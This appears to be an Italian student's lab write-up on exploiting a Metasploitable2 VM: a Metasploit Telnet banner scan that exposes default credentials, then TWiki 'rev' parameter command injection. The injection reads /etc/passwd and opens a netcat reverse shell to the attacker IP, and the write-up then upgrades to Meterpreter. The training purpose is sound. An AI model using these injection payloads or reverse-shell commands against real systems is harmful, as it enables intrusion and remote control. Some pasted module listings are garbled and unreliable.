

CPTP0524 – W16D1

Exploit Telnet e TWiki

Traccia:

Sulla base di quanto visto, utilizzare Kali per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Facoltativo:

Sulla base di quanto già visto, utilizzare Kali per sfruttare la vulnerabilità relativa a TWiki con la tecnica che meglio preferite, sulla macchina Metasploitable.

Target: Metasploitable2 - Linux
DNS: epi-metasploitable.epicode
IP: 192.168.51.101

NB: Ho lasciato l'ip originale 192.168.51.101 invece dell'IP richiesto 192.168.1.149 perché nelle rete 192.168.1.0/24 ho altre macchine, preferisco rimanere in una sottorete isolata, inoltre la macchina attaccante è riconoscibile in qua è personalizzata.

Test del ping per assicurarmi che il target è raggiungibile

> msf6 > ping 192.168.51.101

```
msf6 > ping 192.168.51.101
[*] exec: ping 192.168.51.101

PING 192.168.51.101 (192.168.51.101) 56(84) bytes of data.
64 bytes from 192.168.51.101: icmp_seq=1 ttl=63 time=0.448 ms
64 bytes from 192.168.51.101: icmp_seq=2 ttl=63 time=0.403 ms
64 bytes from 192.168.51.101: icmp_seq=3 ttl=63 time=0.302 ms
64 bytes from 192.168.51.101: icmp_seq=4 ttl=63 time=0.336 ms
^C
--- 192.168.51.101 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3050ms
rtt min/avg/max/mdev = 0.302/0.372/0.448/0.056 ms
Interrupt: use the 'exit' command to quit
msf6 >
```

Scansione nmap su porta 23

```
> nmap -p 23 -sV --script vuln 192.168.51.101
```

```
msf6 > nmap -p 23 -sV --script vuln 192.168.51.101
[*] exec: nmap -p 23 -sV --script vuln 192.168.51.101

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-03 22:51 CET
Nmap scan report for epi-metasploitable.epicode (192.168.51.101)
Host is up (0.0088s latency).

PORT      STATE SERVICE VERSION
23/tcp    open  telnet  Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

METASPLOIT

```
> msf6 > search telnet_version
```

```
msf6 > search telnet_version

Matching Modules
=====
#  Name                                                                 Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/scanner/telnet/lantronix_                               .          normal No      Lantronix Telnet Service Banner Detection
1  auxiliary/scanner/telnet/                                         .          normal No      Telnet Service Banner Detection
```

```
> msf6 > use 1
```

```
msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_version) > |
```

```
> msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.51.101
```

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.51.101
rhosts => 192.168.51.101
msf6 auxiliary(scanner/telnet/telnet_version) > |
```

```
> msf6 auxiliary(scanner/telnet/telnet_version) > options
```

```
msf6 auxiliary(scanner/telnet/telnet_version) > options
```

Module options (auxiliary/scanner/telnet/telnet_version):

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified user
RHOSTS	192.168.51.101	yes	The target host(s), see https://docs.cve.org/docs/cve-2021-44228-01.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (0 = unlimited)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

Esecuzione dell' Exploit

```
> msf6 auxiliary(scanner/telnet/telnet_version) > exploit
```

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
[+] 192.168.51.101:23 - 192.168.51.101:23 TELNET _
\ x0a _ _ _ _ _ | | _ _ _ _ _ | | _ _ _ ( ) | _ _ _ | | _ _ _ | _ _ \ \ x0a| ' _ _ _ \ / _ _ \ / _ _
_ | ' _ \ | / _ _ \ | _ _ \ | ' _ \ | / _ _ \ _ _ | \ x0a| | | | | _ _ / || ( ) | | | | | ( ) | | | _
| | _ _ // _ \ \ x0a| | | | | \ _ _ \ \ _ _ , _ _ _ / . _ _ / | \ _ _ / | \ _ _ | \ _ _ | \ x0a
      | | _ _ _ _ _ \ x0a \ x0a \ x0a Warning: Never expose this VM to an un
trusted network! \ x0a \ x0a Contact: msfdev[at]metasploit.com \ x0a \ x0a Login with msfadmin/msfadmin to get started \
x0a \ x0a \ x0a metasploitable login:
[*] 192.168.51.101:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
```

L'Output ci consegna username e password del target: **msfadmin/msfadmin**

Exploit Manuale

```
> msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.51.101
```

```
Trying 192.168.51.101...
Connected to 192.168.51.101.
Escape character is '^['.
```

Login with msfadmin/msfadmin to get started

```
msfadmin@metasploitable:/$
```


Facoltativo

Exploit Twiki

Test della Vulnerabilità

➤ `http://192.168.51.101/twiki/bin/view/Main/TWikiUsers?rev=2%20|cat%20/etc/passwd||echo%20`

```
192.168.51.101/twiki/bin/view/Main/TWikiUsers?rev=2 |cat /etc/passwd|echo%20
TWiki > Main > TWikiUsers (r1.2 |cat /etc/passwd|echo )
Main . { Users | Groups | Offices | Changes | Index | Search | Go }
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mail Manager:/var/lib:/bin/sh irc:x:39:39:ircd:/var/
run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101:/var/lib/libuuid:/bin/sh
dhcpc:x:101:102:/nonexistent:/bin/false syslog:x:102:103:/home/syslog:/bin/false klog:x:103:104:/home/klog:/bin/false sshd:x:104:65534:/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,./:/home/msfadmin:/bin/bash bind:x:105:113:/var/cache/bind:/bin/false postfix:x:106:115:/var/spool/postfix:/bin/false ftp:x:107:65534:/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,./:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,./:/var/lib/mysql:/bin/false tomcat55:x:110:65534:/usr/share/tomcat5.5:/bin/false
distcd:x:111:65534:/bin/false user:x:1001:1001:just a user,111,./:/home/user:/bin/bash service:x:1002:1002:/home/service:/bin/bash telnetd:x:112:120:/nonexistent:/bin/false
proftpd:x:113:65534:/var/run/proftpd:/bin/false statd:x:114:65534:/var/lib/nfs:/bin/false
```

Mi ha restituito il contenuto di /etc/passwd (in ambiente reale è inconcepibile)

Iniezione del Payload reverse shell

➤ `http://192.168.51.101/twiki/bin/view/Main/TWikiUsers?rev=2%20|nc 192.168.50.100 4444 -e /bin/bash|echo%20`

```
192.168.51.101/twiki/bin/view/Main/TWikiUsers?rev=2 |nc 192.168.50.100 4444 -e /bin/bash|echo%20
TWiki > Main > TWikiUsers (r1.2 |nc 192.168.50.100 4444 -e /bin/bash|echo )
Main . { Users | Groups | Offices | Changes | Index | Search | Go }
ko /var/www/twiki/data/Main/TWikiUsers.txt
Topic TWikiUsers . { Edit | Attach | Ref-By | Printable | Diffs | r1.16 | > | r1.15 | > | r1.14 | More }
Revision r1.2 |nc 192.168.50.100 4444 -e /bin/bash|echo - 01 Jan 1970 - 00:00 GMT -
Copyright © 199
the contributing
```

➤ `msf6 > search twiki`

```
msf6 > search twiki
Matching Modules
-----
#  Name                                     Disclosure Date  Rank      Check  Description
-  -
0  exploit/unix/webapp/moinmoin_draw         2012-12-30      manual   Yes    MoinMoin draw Action Traversal File Upload
1  exploit/unix/http/debug_plugins           2014-10-09      excellent Yes    Debugableplugins Remote Code Execution
2  exploit/unix/webapp/_history              2005-09-14      excellent Yes    History Users rev Parameter Command Execution
3  exploit/unix/webapp/_maketext             2012-12-15      excellent Yes    MAKETEXT Remote Command Execution
4  exploit/unix/webapp/_search               2004-10-01      excellent Yes    Search Function Arbitrary Command Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/twiki_search
```

➤ msf6 > use 2 (twiki_history)

```
msf6 > use 2
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(unix/webapp/twiki_history) > |
```

➤ msf6 > show payloads

```
48 payload/cmd/unix/reverse_ncat_ssl
49 payload/cmd/unix/reverse_ncat_ssl
50 payload/cmd/unix/reverse_netcat
51 payload/cmd/unix/reverse_netcat_gaping
52 payload/cmd/unix/reverse_openssl
```

➤ msf6 > set payload 50 (reverse_netcat)

```
msf6 exploit(unix/webapp/twiki_history) > set payload 50
payload => cmd/unix/reverse_netcat
msf6 exploit(unix/webapp/twiki_history) >
```

➤ msf6 > options

```
msf6 exploit(unix/webapp/twiki_history) > options

Module options (exploit/unix/webapp/twiki_history):

  Name      Current Setting  Required  Description
  ----      -
  Proxies    Proxies          no        A proxy chain of
  RHOSTS     192.168.51.101  yes       The target host(s)
  RPORT      80               yes       The target port (T
  SSL        false            no        Negotiate SSL/TLS
  URI        /twiki/bin       yes       Twiki bin director
  VHOST      VHOST            no        HTTP server virtual

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     192.168.50.100  yes       The listen address
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0   Automatic
```

```
(r1.2 |nc 192.168.50.100 4444 -e /bin/bash||echo )
```

is | Changes | Index | Search | Go |

➤ msf6 > exploit

```
msf6 exploit(unix/webapp/twiki_history) > exploit
[*] Started reverse TCP handler on 192.168.50.100:4444
[+] Successfully sent exploit request
[*] Command shell session 5 opened (192.168.50.100:4444 -> 192.168.51.101:33022) at 2025-03-04 22:59:16 +0100

pwd
/var/www/twiki/bin
^Z
Background session 5? [y/N] y
```

ho messo in background la sessione con ctrl+z

Cerco il numero della sessione

➤ msf6 exploit(unix/webapp/twiki_history) > sessions

```
Background session 5? [y/N] y
msf6 exploit(unix/webapp/twiki_history) > sessions

Active sessions
=====

  Id  Name  Type           Information           Connection
  --  ---  ---
   5           shell cmd/unix           192.168.50.100:4444 -> 192.168.51.101:33022 (192.168.51.101)
```

Eseguo un upgrade della sessione per iniettare un meterpreter

➤ msf6 exploit(unix/webapp/twiki_history) > sessions -u 5

➤ msf6 exploit(unix/webapp/twiki_history) > sessions

```
msf6 exploit(unix/webapp/twiki_history) > sessions -u 5
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [5]
[*] Upgrading session ID: 5
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.50.100:4433
[*] Sending stage (1017704 bytes) to 192.168.51.101
[*] Meterpreter session 6 opened (192.168.50.100:4433 -> 192.168.51.101:35551) at 2025-03-04 23:00:04 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 exploit(unix/webapp/twiki_history) > sessions

Active sessions
=====

  Id  Name  Type           Information           Connection
  --  ---  ---
   5           shell cmd/unix           192.168.50.100:4444 -> 192.168.51.101:33022 (192.168.51.101)
   6           meterpreter x86/linux www-data @ metasploitable.localdomain 192.168.50.100:4433 -> 192.168.51.101:35551 (192.168.51.101)
```

Chiudo la sessione 5 (la prima bash che abbiamo ottenuto con netcat) e lascio attiva solo la nuova sessione 6 del meterpreter

➤ msf6 exploit(unix/webapp/twiki_history) > sessions -k 5

```
msf6 exploit(unix/webapp/twiki_history) > sessions -k 5
[*] Killing the following session(s): 5
[*] Killing session 5
[*] 192.168.51.101 - Command shell session 5 closed.
```

> msf6 exploit(unix/webapp/twiki_history) > sessions

```
msf6 exploit(unix/webapp/twiki_history) > sessions
Active sessions
=====
  Id  Name  Type           Information                                     Connection
  --  ---  ---
   6           meterpreter x86/linux www-data @ metasploitable.localdomain 192.168.50.100:4433 -> 192.168.51.101:35551 (192.168.51.101)
msf6 exploit(unix/webapp/twiki_history) >
```

Ho ottenuto un bash con netcat sfruttando una vulnerabilità di twiki per poi iniettare una persistenza meterpreter.

Francesco Rinaldi